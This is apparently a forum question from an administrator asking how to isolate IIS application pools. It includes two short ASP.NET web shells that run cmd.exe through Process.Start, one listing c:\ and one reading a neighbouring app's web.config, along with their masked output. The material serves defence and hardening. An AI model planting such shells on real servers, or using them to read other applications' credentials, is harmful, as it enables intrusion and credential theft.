I'm setting up a new machine for hosting multiple asp.net applications. My goal is to isolate the apps as strongly as possible. In case one of the apps is hacked, all other apps should be safe.
I have a default configuration. There is a c:\wwwroot directory. In this directory I have \AppA and \AppB folders containing application files. The wwwroot directory has default permissions:
Users - read & execute
IIS_IUSRS - read & execute
Both applications run under different app polls under their own security contexts:
IIS AppPool\AppA
IIS AppPoll\AppB
Let's say somebody broke into AppA and was able to upoad a rogue "dir.aspx" file:
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c dir";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
Surprise! Under default configuration the attacker has read access to c:\ - output:
<html>
<body>
Volume in drive C is System
Volume Serial Number is ******
Directory of c:\
05.11.2018 14:39 <DIR> PerfLogs
21.12.2018 13:55 <DIR> Program Files
06.11.2018 15:03 <DIR> Program Files (x86)
20.12.2018 10:08 <DIR> Users
11.12.2018 01:33 <DIR> Windows
10.01.2019 19:36 <DIR> wwwroot
0 File(s) 0 bytes
8 Dir(s) 109˙008˙580˙608 bytes free
</body>
</html>
Now the attacker can easily browse through the files on the whole machine, and can access AppB to read the web.config of AppB exposing it's database credentials and other sensitive data:
<%@ Language=c# runat="server"%>
<html>
<body>
<%
System.Diagnostics.Process si = new System.Diagnostics.Process();
si.StartInfo.WorkingDirectory = "c:\\wwwroot\\AppB";
si.StartInfo.UseShellExecute = false;
si.StartInfo.FileName = "cmd.exe";
si.StartInfo.Arguments = "/c type web.config";
si.StartInfo.CreateNoWindow = true;
si.StartInfo.RedirectStandardInput = true;
si.StartInfo.RedirectStandardOutput = true;
si.StartInfo.RedirectStandardError = true;
si.Start();
string output = si.StandardOutput.ReadToEnd();
si.Close();
Response.Write(output);
%>
</body>
</html>
Output:
<html>
<body>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<connectionStrings>
<add name="AbbBConnectionString" connectionString="*******" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetFramework="4.5.2" />
<httpRuntime targetFramework="4.5.2" />
<customErrors mode="Off"/>
</system.web>
</configuration>
</body>
</html>
The question is, is it possible to configure IIS permissions to have a better application isolation? How come the above scenario is even possible?